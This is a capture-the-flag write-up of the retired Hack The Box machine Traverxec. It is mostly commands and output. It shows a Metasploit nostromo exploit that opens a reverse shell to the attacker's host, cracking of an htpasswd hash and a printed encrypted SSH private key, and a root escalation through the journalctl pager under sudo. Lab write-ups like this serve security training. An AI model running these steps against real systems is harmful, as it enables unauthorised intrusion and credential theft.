HTB: Traverxec

Traverxec Card

This box is a writeup about a retired HacktheBox machine: Traverxec. This box is rated as an easy box. It implies the exploitation of a CVE on notsromo, the use of some nostromo misconfiguration and a little trick to trigger a page with a sudo command.

User part

Recon

Let us start as always by a nmap scan the ports 22 (SSH) and 80 (HTTP) are open.

# Nmap 7.80 scan initiated Wed Nov 27 08:58:11 2019 as: nmap -p- -sS -oA nmap 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.088s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Wed Nov 27 09:01:46 2019 -- 1 IP address (1 host up) scanned in 215.57 seconds

Nothing particular about this services.

# Nmap 7.80 scan initiated Wed Nov 27 09:04:36 2019 as: nmap -p22,80 -sSV -oA nmap 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.097s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open  http    nostromo 1.9.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 27 09:04:44 2019 -- 1 IP address (1 host up) scanned in 7.91 seconds

There is an exploit for nostromo in version 1.9.3 and a metasploit exploit without a precision about the version.

# searchsploit nostromo
--------------------------------------- ----------------------------------------
Exploit Title                         |  Path
                                      | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote  | exploits/multiple/remote/47573.rb
nostromo nhttpd 1.9.3 - Directory Trav | exploits/linux/remote/35466.sh
--------------------------------------- ----------------------------------------

Web

We run a dirb against the web service.

The website is a portfolio for a web and apps developer.

homepage

The directory are listable.

Directory listing

Nothing interesting on the web part. Let us run the exploit found in the recon.

MSF

We load the exploit in metasploit, set the option to target the box and set our IP work the reverse shell and run it.

msf5 exploit(multi/http/nostromo_code_exec) > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > show options

Module options (exploit/multi/http/nostromo_code_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.10.10.165     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.15.7       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Unix In-Memory)


msf5 exploit(multi/http/nostromo_code_exec) > run

[*] Started reverse TCP handler on 10.10.15.7:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 2 opened (10.10.15.7:4444 -> 10.10.10.165:56360) at 2019-11-27 09:50:39 +0100

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

nostromo

We got a shell as www-data. We start enumerating the box. There is a specific folder for the nostromo web server. In /var/nostromo/ we found some configuration files.

ls /var/
backups
cache
lib
local
lock
log
mail
nostromo
opt
run
spool
tmp
ls /var/nostromo/
conf
htdocs
icons
logs
ls -al /var/nostromo/
total 24
drwxr-xr-x  6 root     root   4096 Oct 25 14:43 .
drwxr-xr-x 12 root     root   4096 Oct 25 14:43 ..
drwxr-xr-x  2 root     daemon 4096 Oct 27 16:12 conf
drwxr-xr-x  6 root     daemon 4096 Oct 25 17:11 htdocs
drwxr-xr-x  2 root     daemon 4096 Oct 25 14:43 icons
drwxr-xr-x  2 www-data daemon 4096 Nov 27 03:39 logs
ls -al /var/nostromo//conf/
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 16:12 .
drwxr-xr-x 6 root root   4096 Oct 25 14:43 ..
-rw-r--r-- 1 root bin      41 Oct 25 15:20 .htpasswd
-rw-r--r-- 1 root bin    2928 Oct 25 14:26 mimes
-rw-r--r-- 1 root bin     498 Oct 25 15:20 nhttpd.conf

We display the content of the .htpasswd file and found a hash.

cat /var/nostromo//conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

We load it into john an crack it with the rockyou dictionary. The password is "Nowonly4me".

john hash -w=rockyou.txt
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (david)

Let us take a closer look at the nhttpd.conf file.

cat /var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]

servername      traverxec.htb
serverlisten        *
serveradmin     david@traverxec.htb
serverroot      /var/nostromo
servermimes     conf/mimes
docroot         /var/nostromo/htdocs
docindex        index.html

# LOGS [OPTIONAL]

lopid           logs/nhttpd.pid

# SETUID [RECOMMENDED]

user            www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess        .htaccess
htpasswd        /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons          /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs        /home
homedirs_public     public_www

According to Nostromo manual the HOMEDIRS section allow the server to serve the user's home and some specific folder. In fact this is possible as the http://10.10.10.165/~david/ show us.

http://10.10.10.165/~david/

First of all we use python to get a proper shell python -c 'import pty; pty.spawn("/bin/sh")'.

The we go in the public_www folder inside david's home folder. We see that there is a backup of some SSH identity files in a targz archive.

$ cd /home/david/public_www/
cd /home/david/public_www/
$ ls
ls
index.html  protected-file-area
$ ls protected-file-area
cls protected-file-area
backup-ssh-identity-files.tgz

We copy the archive to /tmp/, extract it and cat the private RSA key.

$ cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/
cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/
$ cd /tmp/
cd /tmp/
$ tar xvf backup-ssh-identity-files.tgz
tar xvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
$ cat home/david/.ssh/id_rsa
cat home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----

We then try to connect to the box using the key with david account but the SSH key is password protected. We use ssh2john to get a crackable hash and run john with the rockyou dictionary on it.

python /usr/bin/ssh2john id_rsa > id_rsa.hash
john  id_rsa.hash -w=~/tools/password_lists/rockyou.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:04 DONE (2019-11-27 15:12) 0.2061g/s 2957Kp/s 2957Kc/s 2957KC/s *7¡Vamos!
Session completed

We then connect to the box as david using the SSH key and its hunter password. And we get the user flag.

# ssh david@10.10.10.165 -i id_rsa
Enter passphrase for key 'id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Wed Nov 27 05:55:05 2019 from 10.10.14.25
david@traverxec:~$ cat user.txt
7db0b<redacted>

Root part

When trying the command sudo -l we are prompt for a password. Neither the cracked passwords hunter nor Nowonly4me works.

In the david home folder we find a bin folder containing a bash program.

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

The interesting part is the last line. This mean that we have the sudo permissions as root with no password (as it is in a script). The sudo rights are well designed, we cannot change any argument in the line. If we look at gtfobins for journalctl we see that the interesting part is to get the pager (which by default is less, which allow to run bash command with !).

As the command specifiecaly allow us to only have 5 lines from the journalctl output what we need to do is to get a tiny tiny windows to trigger the pager.

Tiny window in order to trigger the pager

From less we are able to run a bash command as /bin/bash/.

Running a bash command from less

We then get a root shell and are able to get the flag.

david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2019-11-27 05:44:37 EST, end at Wed 2019-11-27 06:15:38 EST
Nov 27 06:11:16 traverxec crontab[4166]: (www-data) LIST (www-data)
Nov 27 06:12:32 traverxec sudo[4554]: pam_unix(sudo:auth): authentication failur
...skipping...
Nov 27 06:12:41 traverxec sudo[4554]: www-data : user NOT in sudoers ; TTY=pts/1
Nov 27 06:13:05 traverxec su[4567]: pam_unix(su:auth): authentication failure; l
Nov 27 06:13:07 traverxec su[4567]: FAILED SU (to david) www-data on pts/6
!/bin/bash
root@traverxec:/home/david# cat /root/root.txt
9aa36a6<redacted>

Wrapping up

This box is quit easy. The revershell is quit quick. The privilege escalation to user might a pain as there is some rabbit holes (like this Nowonly4me password) and the root part is quit CTFish but quick.